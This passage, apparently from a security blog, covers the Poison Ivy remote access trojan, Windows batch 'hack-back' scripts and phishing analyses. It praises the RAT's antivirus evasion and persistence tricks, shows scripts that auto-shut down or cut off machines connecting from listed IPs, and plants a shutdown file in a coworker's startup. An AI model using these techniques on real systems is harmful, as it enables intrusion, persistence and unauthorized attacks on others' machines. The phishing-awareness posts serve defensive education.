cat /var/log/httpd/access_log | grep *.txt | grep –v robots.txt

This will display all the access attempts that have .txt and not any attempts for robots.txt.

As always I hope this provided you with some useful information. If you have any questions please feel free to let us know.

Over a year ago I wrote a post on the Poison Ivy Trojan (Tool) by the team over at http://poisonivy-rat.com. The original post can be found here http://digitaloffensive.genxweb.net/2009/09/fun-with-poison-ivy/. I wanted to take a few minutes to add another function I discovered at the last CCDC that made this tool that much better.

If you read my original post on this tool at the link above you will see in the third paragraph where it says “Screen 3” I mention how you can inject this into processes. Not only does it inject into the process but every time the process is called Poison Ivy is re-executed.  Now this was helpful because most of the kids at the CCDC were expecting to see Poison Ivy used again as it was in the past and they had a good idea on how to find it and stop it. So we had to become craftier then them. So I decided to attach it to the cmd.exe as well as the security tools they were using to monitor our connections such as TCPview and TCPKiller. This allowed Poison Ivy to continue running every time they tried to stop us.

This brings up another good point when ever doing forensics work on a computer that may be infected either check the md5 sum of the tools that you are using on the machine or bring your own tools to run on a non writeable media. This will make sure that you are not causing any additional damage and that the results you are receiving are correct and not altered.

As I play with this more and as it is warranted I will add additional Tips about this powerful RAT. IF you have any questions or concerns please feel free to contact me.

First off here are a few caveats that I need to mention before I get bombarded by people complaining that it does not always work.

1. This requires a state full connection IE. icmp will not get detected.
2. The connection may get missed if it is only 1 packet IE. Netsend.
3. Since this uses a loop there may be a delay and you may miss the connection.

This all started when last Friday my computer popped up a message saying it was about to reboot and one of my new co workers started laughing at my displeasure so I knew he did something. Turns out he was just learning how to use Pstools to execute commands and other things.  If you do not know what Pstools are I suggest you Google it as they are some powerful free tools written by a security researcher and purchased by Microsoft.  For those that know what Pstools are and are asking yourself why he has admin to my machine in the first place, the answer is simple we are members of the security team we have admin over all machines in the domain (not domain admin) so we can do our job duties when asked. We will leave it at that, knowing that if I was allowed to and able to I would remove everyone from my machine that did not need access to it.

Normally I would have just laughed along with him but I was working on a report and this basically made me pull out all stops. To buy me some time and offer a quick retribution I created a bat file with the following code in it and placed it in his user profile start up.

@echo off

psshutdown.exe -m “HAHA”

Note I did not have to supply the path to the psshutdown command as my co worker was nice enough to make my job easier and put Pstools into his environment for me.

The command above will basically display the message HAHA as it countdowns 20 seconds before shutting down his machine. By placing it in his user profile startup it would shutdown the machine every time he logged in. I did it this way so any one of the team could still log in and fix the machine in case he could not figure this out.

Once this was done I executed the command psshutdown.exe \\HIS_IP –m “HAHA” manually to start the fun.  Once he realized that every time he was to log in his machine was to reboot. I informed him if you want to hack you need to learn how to protect against hacks and how to investigate compromised machines. I told him to think about what is happening and what could be causing it to happen.  After a few tries he finally figured it out and corrected the issues.

This leads me into why I am writing this article and the code that you are probably here to see. After him rebooting me and knowing that it could happen again at any given time I started pondering different ways I could detect and counter future attempts without having to purchase any software or installing any tools from internet.  I knew in Linux I could use the netstat command and grep to find his IP when a connection is made to me and then pipe that IP into another command such as adding it to the host.deny list or to a firewall rule or even going as far as using metaploit to attack him back automatically. But unfortunately we do not run Linux desktop environments so I was stuck with a windows environment and basic knowledge of windows scripting. I find it annoying that I could write a Linux shell script that could take over the world (not really but you get the point) in my sleep but it takes me a few days of research and trial and errors to write a windows batch file. I think most of it has to deal with the fact I just never really needed to do them as often as I have had to do them on Linux and when I have I usually just used Perl or CGYWIN but I degress. So based on what I know I could do on Linux I started to think about what I could do on windows to offer a layer of protection and I came up with this with help from another co-worker:

@echo off

:top

for %%a in (192.168.1.2 192.168.1.3 192.168.1.4) do call :SubRoutine %%a

goto top

:SubRoutine

netstat -an | find “%1″

if “%errorlevel%” NEQ “0″ goto end

echo “ATTACKER DETECTED”

psshutdown.exe -m “HAHAHA your bad” \\%1

goto end

:end

This script will basically continue to run monitoring the netstat command output every second to look for the IP addresses I have supplied to it. If the IP is found it will give error code 0 meaning it was successful and then execute the psshutdown command against that box stopping the attack and shutting down the attacker.

Now I know what you are thinking, this only works if you have admin on their box and you are correct. This also does not assume they are not attacking you and are actually connecting to you for a business need. So let’s first address the issue of you not being admin and what options you are then left with to protect yourself.  Unfortunately the windows firewall is not very useful it takes all or nothing approach and does not allow individual IP or port blocking. It basically says if on and no exception then block everything. So to administrate something like that from a batch file on the fly is not very sufficient.  Actually windows itself truelly lacks the ability to easily and quickly respond. There is no host.deny or Iptables or service.deny like in Linux. You could possibly learn how to use PKI and IPSEC ; and right rules to do that stuff in there based on systems though that is extremely tough for most windows users.

This led me to search on the internet for a way to close connections via the windows command line. Several of the tools I found such as TCPKill or WinTCPKill were automatically deleted by McAfee because they are considered hacking tools. So I continued to look for a tool that would work and was safe for use, not saying those other tools are not safe though McAfee is a requirement here.  The tool I found was CurrPorts by the guys over at http://www.nirsoft.net/utils/cports.html . Using this tool let’s take a look at what the code will now look like:

@echo off

:top

for %%a in (192.168.1.2 192.168.1.3 192.168.1.4) do call :SubRoutine %%a

goto top

:SubRoutine

netstat -an | find “%1″

if “%errorlevel%” NEQ “0″ goto end

echo “ATTACKER DETECTED”

cports.exe /close * * %1 *

goto end

:end

As you can see above we replaced the “psshutdown” command with the “cports.exe” command. The syntax above uses the /close flag which closes established connections. The * * refers to the local host and the source port. The asterisk allows for wildcards. The %1 is the IP address we want to close and the last * is for the remote port. This seems to work 99% of the time. In our testing we noticed that if a person tried to connect to a port this killed the connection. If they did something like an http request there was a chance we missed the connection since it is not on going. We also noticed that it did not catch share access. We did notice it stopped logins, net cat, telnet, ftp, pstools and more.

Here is a screenshot of the attack without getting blocked by my script:

Here is a screenshot of the attack being blocked by my script. As you can see I am sending a “RST” flag to the attacker to reset their connection which basically kills the handshake and connection:

Now that we addressed not having administrator access and still being able to help block unwanted attacks let’s look at extending this script to be able to capture the port as well. This will be useful as you will see shortly.

@echo off

:top

for %%a in (192.168.1.2 192.168.1.3 192.168.1.4) do call :SubRoutine %%a

goto top

:SubRoutine

for /f “tokens=2″ %%a in (‘netstat -an^|find “%1″‘) do set IPnPort=%%a

for /f “tokens=1-2 delims=:” %%b in (‘echo %IPnPort%’) do (

set IP=%%b

set Port=%%c

)

set IPnPort=

if “%IP%”==”" goto end

if “%Port%”==”" goto end

echo ATTACKER DETECTED from %IP% on Port %Port%

cports /close * * %1 %Port%

for %%a in (IP Port) do set %%a=

goto end

:end

The code above allows us to search for the IP address and when the IP is detected it will save the value IP:PORT into the temp variable %IPnPort% it will then run that variable through one more for loop to get the IP and port as two separate variables in this case %%b and %%c which is then turned in the variables %IP% and %Port%. Once we have these two variables we can do a multitude of things. In the sample above we used the variables to specify the IP and port to have cports.exe close. Even though we could of just used an *. In theory we could add another for loop that contained a list of allowed ports and if %Port% was equal to an allowed port it would not kill the connection.

We can also use another third party tool called plink which is part of the putty suite of tools. Plink is a self contained executable that allows you to use the same protocols you find in Putty but via the command line. It also has a very useful flag that allows for a lot of power. The “-m” flag will allow you to send a configuration to a box. For an example we could have our script above use the echo command to write firewall rules to a txt file. We can then use Plink to connect to the firewall and write the rules to the firewall providing an instant protection scheme.  This is extremely helpful for those that run Juniper Netscreen (SSG or earlier) firewalls or CISCO Pix / ASA firewalls. I am not going to cover the syntax for adding rules to the firewalls via the command line for those two firewalls in this paper but I will give you an example. Let’s take the above code and remove the “cports /close” line and add this line instead.

echo “ set %IP% any eq %Port% deny log” >> fw-rules.txt

echo “set any %IP% eq %Port% deny log”  >> fw-rules.txt

echo “wr mem” >> fw-rules.txt

plink USERNAME@HOSTNAME -pw PASSWORD -m fw-rules.txt

>> fw-rules.txt

This code will basically create the firewall rules to deny all connections inbound and outbound to the IP address and port you specified via the variables. Once again the syntax of the rules is not correct but it gives you the insight on what can be done. All you have to do is echo into the fw-rules.txt file any commands you need for your firewall.

To expand this script you can use one other third party tool called “wget” there is a windows port that can be found at http://gnuwin32.sourceforge.net/packages/wget.htm. With this tool you can download lists of blocked IP addresses from different sites on the internet and incorporate it into your script. So if the script detects one of these malicious IP’s are trying to connect to you can auto block it and log it. To do this we can alter the code like this:

@echo off

wget http://somesite.com/ip.txt

:top

for /f %%a in (ip.txt) do call :SubRoutine %%a

goto top

:SubRoutine

for /f “tokens=2″ %%a in (‘netstat -an^|find “%1″‘) do set IPnPort=%%a

for /f “tokens=1-2 delims=:” %%b in (‘echo %IPnPort%’) do (

set IP=%%b

set Port=%%c

)

set IPnPort=

if “%IP%”==”" goto end

if “%Port%”==”" goto end

echo ATTACKER DETECTED from %IP% on Port %Port%

ATTACK CODE GOES HERE

for %%a in (IP Port) do set %%a=

goto end

:end

The code above will download a list of known malicious bad sites and monitor connection attempts from those IP addresses against your computer. It will respond to the connection attempt based on the response you want to use. I have give n you several possible responses throughout this paper though don’t limit yourself to those. Use your imagination to expand on this code to make it work for you.

I want to thank you all for reading this and if you have any questions or comments please feel free to contact me. I also want to give special thanks to RunCmd aka Neil for his killer windows scripting skills and patience in helping me.

A few months ago I wrote for Informit.com and had my buddy Seth Fogie publish my article that I wrote on the BlackBerry Firewall. You can find the article here:

http://www.informit.com/guides/content.aspx?g=security&seqNum=348

A while back I wrote on cached credentials and proxy authentication in regards to spyware. Well I rewrote the paper and cleaned it up a bit. I then had informit.com publish it for me. to see it check out the url below.  This one includes the .net code to make it work.

http://www.informit.com/guides/content.aspx?g=security&seqNum=350

Poison Ivy is a remote access Trojan (Tool) that can be found at the following URL: http://poisonivy-rat.com and a support forum can be found here http://ratforge.net/forums/ . Please note that these are Trojans and www.digitaloffensive.com nor any of its staff are responsible for any use or misuse that you do with these files.

Recently I had the opportunity to take a close look at the poison ivy rat and run it through a real world scenario in a controlled lab environment. The tool comes as a single exe that allows you to build a server executable from variables you select in the GUI configuration under the new server option. Neither the client nor the server was detected by Norton, McAfee, AVG or trend. This may have been that the version I was using was released only a day earlier.  I did find it a bit weird that inside Vmware that it would not run and would constantly crash. This made me think right away that the creator did not want their code analyzed but a quick Google showed that many people had this issue which was quickly fixed by disabling DEP.

One of the biggest reasons I loved this Trojan so much was that it provided us with a shoveled shell / connection. This means that no matter what ports where open inbound on their firewall we were guaranteed access because most of them were not doing egress filtering.  Poison Ivy provided an easy and repeatable server creation process using profiles to easily save and quickly load your favorite configurations. The wizard walks you through each step asking you what you would like to choose. Screen 1 we created our connections which is where we put in the phone home IP or IP’s as well as the shared password. Screen 2 walks you through the install options: IE. Run on startup, place in registry, place in active control, copy itself to folders and more. The third screen provides the advance features options. Here we can change its mutex name so we can run multiple instances of poison ivy on each machine, inject the Trojan into the browser, make it persistent, inject it into running process and my favorite hide in ADS (alternate data streams, thank you Microsoft). The 4th menu allows you to add additional build features such as an external packer to hide it from AV better. The final screen is actual generation of the Trojan server executable.

In the lab we used core impact as well as several other commercial and non commercial exploit tools to gain access to the machines and install poison ivy. Once we had poison ivy installed we were able to view the users screen in near real time by changing the screen shot capture to 5 seconds (don’t suggest doing this over a internet connection), record all the key logs they typed, spawn remote shells, control processes and services as well as countless other things. One of the other real good things it did was to show us in red every place it had hooked in so we can make sure we did not accidentally kill it while killing other processes or files. Once installed poison ivy was able to maintain our access through the day even when it was killed it would re-spawn itself and connect back to us letting us know it was alive.
The only down fall of Poison Ivy was that since it is connect back Trojan the user has the ability to find our IP and to block it in the firewall. Though there are several ways around this. The one that is built into Poison Ivy is to be able to update the code on the fly by replacing the exe with a newly compiled one allowing it to talk back to a new IP or FQDN.

In short I would like to give kudos to the Poison Ivy team for a fine crafted tool and for supplying us several hours of fun while remaining UN detected by AV.

Recently a client of mine and I had a long winded debate about the dangers of not protecting machines from spyware and other malware. The client swore up and down that since they had an authenticating proxy that required the windows cached credentials to access the internet that they were protected. They believed that the proxy prevented the spyware and other malware from being able to phone data home as the spyware would not have access to the cache credentials to access the internet. We spent a lot of time searching for spyware or other malware that were known that could use windows cached credentials and could not find any. The results that we did come up with were articles on how using an authenticating proxy helps cuts down on spyware and other malware as they cannot phone home.  Even though all the data was pointing to me being wrong I knew if it did not currently exist that as spyware evolved it would exist.

Even though I continued to argue my points and tried to provide relevant supporting data to back my concerns up they were still firm that spyware is not an issue. So I set forth to prove them wrong. I remembered back in the day when I use to write applications in Visual Basic that you could make a web browser in just a few minutes. Visual Basic allows you to do this through the web browser component, which uses the Internet Explorer engine. With this in mind I formulated my first theory. The theory was if it used Internet Explorer then it should use cached credentials to authenticate too without the need to steal them or anything else. To test this out I wrote a quick web browser using the web component in Visual Basic. Once I completed the code I disabled the proxy in Internet Explorer to make sure that without that checked I did not have internet access. Once I verified I did not have internet access I launched my web browser that I just coded and witnessed the same thing. With this tested I then re-enabled the proxy settings in Internet Explorer and repeated the test again. This time both Internet Explorer and the web browser I built connected to the internet. With the theory of my web browser using the cached credentials proven correct I moved on to actually sending data out through the proxy /firewall. To accomplish this I decided to use the “http post” command as it will allow me to submit data to a form over port 80 using the http protocol which is allowed through the proxy / firewall for authenticated users. To do this I found an old “shoutbox” script and used “live http headers” for Firefox to see how a post looked. Once I captured the posting header I broke it down in my application into 2 parts. Part one was the post string and part 2 was the data I recorded from user input. Once I clicked the execute button the data was posted to the shoutbox application and my theory was proven fact.

To double verify my theory I ran a second set of tests:

Test 2: Using Raw packet tools to test my theory.

Without firewall rule allowing me to bypass the proxy

C:\>nc -vv xxxx.net 80

DNS fwd/rev mismatch: xxxx.net != lambda.xxxxxxx.com

xxxxx.net [xxx.xxx.xxx.xxx] 80 (http): TIMEDOUT < — Failed

sent 0, rcvd 0: NOTSOCK

As you can see when I have to use the proxy Netcat can’t automatically authenticate to the proxy hence my http connection to xxxxx.net fails.

With firewall rule allowing me to bypass the proxy

C:\>

C:\>nc -vv xxxxx.net 80

DNS fwd/rev mismatch: xxxx.net  != lambda.xxxxxx.com

xxxxxx.net [xxx.xxx.xxx.xxx] 80 (http) open <– Worked

C:\>

As you can see with the rule allowed in the firewall to allow me to bypass the proxy and use the firewall the Netcat application can connect via http to xxxxx.net since it does not have to authenticate.

In the wild a malicious person could use a vulnerability in Internet explorer to download the application and execute it in the background or they could email it to a user and have them run it. The application does not require admin rights all it needs is the ability to use Internet Explorer.

I will upload the POC once I show the company my findings later this week. IP and URL’s have been altered to protect them.

As some of you know my day job has me providing security guidance to a large user base that vary in their technical skills. Every day we get several requests that come in asking us weather something is a scam or phishing attempt and when time allows we do the research.

Today’s phishing question had to do with the following email:

From: Internal Revenue Service (IRS) [mailto: taxrefund@0x6c.3xdb24d6.irs.govThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it ]
Sent: Tuesday, May 20, 2008 7:25 AM
Subject: Tax Notification

Internal Revenue Service (IRS)
United States Department of the Treasury

Dear Taxpayer,

After the last annual calculations of your fiscal
activity we have determined that you are eligible
to receive a tax refund of $184.80.

Please submit the tax refund request and allow us
6-9 days in order to process it.

A refund can be delayed for a variety of reasons.
For example submitting invalid records or applying
after the deadline.

To access the form for your tax refund, use the following personalized link:

http://0x7C.0xDB11D1/www.irs.gov/

Regards,
Internal Revenue Service

Document Reference: (0x7C.0xDB11D1).

I did some quick initial research and replied to the end user with the following information:

From: Internal Revenue Service (IRS) [mailto: taxrefund@0x6c.3xdb24d6.irs.govThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it ]
Sent: Tuesday, May 20, 2008 7:25 AM
Subject: Tax Notification

Unfortunately we do not have the full headers here so I cannot confirm or deny the email address above. But I can tell you just looking at it does look real suspicious.

Internal Revenue Service (IRS)
United States Department of the Treasury

Dear Taxpayer,

The IRS knows you and would address you by your full name. IE John Smith  not Dear Taxpayer

After the last annual calculations of your fiscal
activity we have determined that you are eligible
to receive a tax refund of $184.80.

Please submit the tax refund request and allow us
6-9 days in order to process it.

In the past whenever the IRS has owed a individual additional money / rebates they never required additional requests. IE the recent bonus rebates.

A refund can be delayed for a variety of reasons.
For example submitting invalid records or applying
after the deadline.

To access the form for your tax refund, use the following personalized link:

http://0x7C.0xDB11D1/www.irs.gov/

This web address is bogus. The IRS real site is http://www.irs.gov. If you Google the address you will find these links http://www.google.com/search?hl=en&q=0x7C.0xDB11D1 showing that this is indeed a scam.
According to this site the url no longer works though I do not suggest you click it. http://www.phishtank.com/phish_detail.php?phish_id=448690&frame=site. That link will allow you to see the site in a protective format if you hover over the links on the site you will see that many of them do not go to the IRS site.

It is my believe that the 0x7C.0xDB11D1 is another url encrypted with hexadecimal (a computer language) that basically uses some form of cross site scripting, site spoofing, or redirection to steal your information.

Regards,
Internal Revenue Service

Document Reference: (0x7C.0xDB11D1).

Though the response above works for our end users this interested me so I decided to research this further. I figured looking at the URL that the phishers have came up with a new way or was using an old way that stilled worked to obfuscate the URL.

(Before doing any of the below please make sure you are using a live boot cd or a machine that you do not care about. I am not responsible if you infect yourself.)

So first I wanted to decrypt the URL http://0x7C.0xDB11D1. So using a hexadecimal conversion sheet that I found at http://www.dewassoc.com/support/msdos/decimal_hexadecimal.htm
I was able to translate the obfuscated URL to the IP address 124.219.17.209. You could also decrypt this by using the ping –a command. It will resolve it to the IP address.

Second I used Wire shark to capture traffic to and from the site to see if it used any droppers or scripts for redirection or infection. I did not see anything out of the ordinary.

Third I used Firefox and the Live Http Headers plug-in to capture traffic to and from the site to see if there were any scripts or redirection taken place and I did not see anything.

Fourth I manually analyzed the source code of the http:// 0x7C.0xDB11D1/ and the redirected site codes and did not see anything in the code that was obfuscated or out of the norm. The hacked pages pulled a lot of the IRS images and style sheets to make it look like the real thing but the attacker did an extremely poor job of hiding the URL. The URL clearly is not that of the IRS.

Fifth I manually tried to change the URL instead of using http:// 0x7C.0xDB11D1/www.irs.gov I tried http:// 0x7C.0xDB11D1/www.digitaloffensive.com and I got a page cannot be found error. This makes me believe that on the site http:// 0x7C.0xDB11D1 (124.219.17.209) there is a subfolder called www.irs.gov that has a file in it that does the redirection to random sites. I say random sites because during my analyst of this issue two different redirected hacked URL’s showed up. I tried to mirror the site http:// 0x7C.0xDB11D1 with wget –rm http:// 0x7C.0xDB11D1 but most of the directories cannot be accessed. I even tried to mirror it by doing wget –rm http:// 0x7C.0xDB11D1/www.irs.gov/ and that was able to dl one of the other hacked sites but still not provide the redirection source.

In conclusion this is just another phishing scam where the attackers are relying on human stupidity to click on a link and supply their personal information to the attackers. Please head your IT / IS department warnings about Email scams as they are only trying to protect you from yourself.

Today our director of Internal Audit dropped on my desk a printed email that looked exactly the same as the scam email I wrote about a few weeks ago in the post called “The IRS has partnered up with China to help you get a tax bonus!”. I figured since I had a huge increase in traffic since I did the original story from people searching for what 0x7C.0xDB11D1 was that I would do a follow up to help others out that may be seeing this for the first time.

This time however the amount is no longer 184.80 they are now saying you are entitled to a whopping 284.80 cents an increase of $100.00 dollars.

The URL has changed slightly instead of http://0x7C.0xDB11D1/www.irs.gov/ it is now http://2081062820/www.irs.gov/. The new URL uuencoded is http://124.10.127.164/www.irs.gov/. At the time of this writing it looks like the URL has been removed and is no longer working to con innocent people out of their information. To see how I decoded the URL please read the original story posted here http://www.digitaloffensive.com/index.php?option=com_content&task=view&id=23&Itemid=2 .

The third change was the “Document Reference Number”. In both emails this number was just the obfuscated URL to make it look more official and lend assistance in making the phish fall for the bait easier. In the first mail the “Document Reference Number” was 0x7C.0xDB11D1 and in the second one it was 2081062820.

Once again only way for us to help protect our end users is through constant reminders and training.

The term phishing originated by taking the term fishing, meaning to bait and catch, and using a language of the computer underground where they commonly replace the letter F with PH. Digital criminals use cunning techniques to trick their victims into taking the bait … hook, line and sinker! The victim usually ends up exposing themselves to identity theft, loss of funds and other unpleasant consequences.

Though many companies like PayPal and eBay take many security measures to protect you it’s the human factor, known as Social Engineering, which these predators are counting on. They’re hoping to trick you mentally into believing that they are who they say they are or if you don’t reply bad things will happen.

PayPal has published a list of common email phishing tactics and a list of ways to detect fake emails that can be viewed here:  https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Help/popup/RecognizeSpoof-outside . We strongly suggest that you read this information on PayPal’s website in its entirety, as it is only 3 pages long, but could save you time and money down the road.

Let’s take a look at the following email and see if you can point out the tell-tale signs that it’s a fake. The most important thing to remember, no matter how the email looks, is if you’re unsure of the email’s authenticity manually type in the company’s website and contact them via the phone number found on their site. This assures that you aren’t tricked into a fake site that may contain a fake number.

Another thing to remember is that if you do not have a PayPal account then just delete the email as it‘s definitely a trick.

Here are some tell-tale signs that will help you quickly identify a phishing attempt.

First, the From says PayPal Department but the actual email address is norelay@steelworks.orgThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it .  That’s not from the PayPal domain which should’ve been name@paypal.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it . There are ways to spoof the domain so just because the email has the real domain name don’t base its authenticity on just that.

Second, the message is addressed to Dear PayPal User. Though PayPal, eBay and many other large companies deal with millions, if not billions of people, they’ll always use the name that’s on your account. For example: John Bishop Smith or Jane Y Smith. They will never user a generic greeting.

The third tell-tale sign isn’t very noticeable to the naked eye. If you hover your mouse over the website address Outlook will either show a balloon pop up with the real website that it will take you to, if you clicked it, or it will show the real website address in the Outlook status bar at the bottom of Outlook.

The website address in the pop up doesn’t look like https://www.paypal.com at all! This can also be spoofed through other means to make the pop up show a PayPal website address.

Fourth is the content of the email. The attacker is trying to persuade you with a false sense of urgency to click the link. It’s better to have your account suspended than clicking the link.

To summarize whenever you receive these types of emails it’s best to delete them and contact the company through a manual process to assure that you are not being tricked into falling for a scam. We suggest that you manually type in the PayPal address https://www.paypal.com            to verify any information or call them at 1-888-221-1161.

I provided you with a few tell-tale signs to help protect you from falling victim to these attacks. If you have any questions or concerns please feel free to contact me.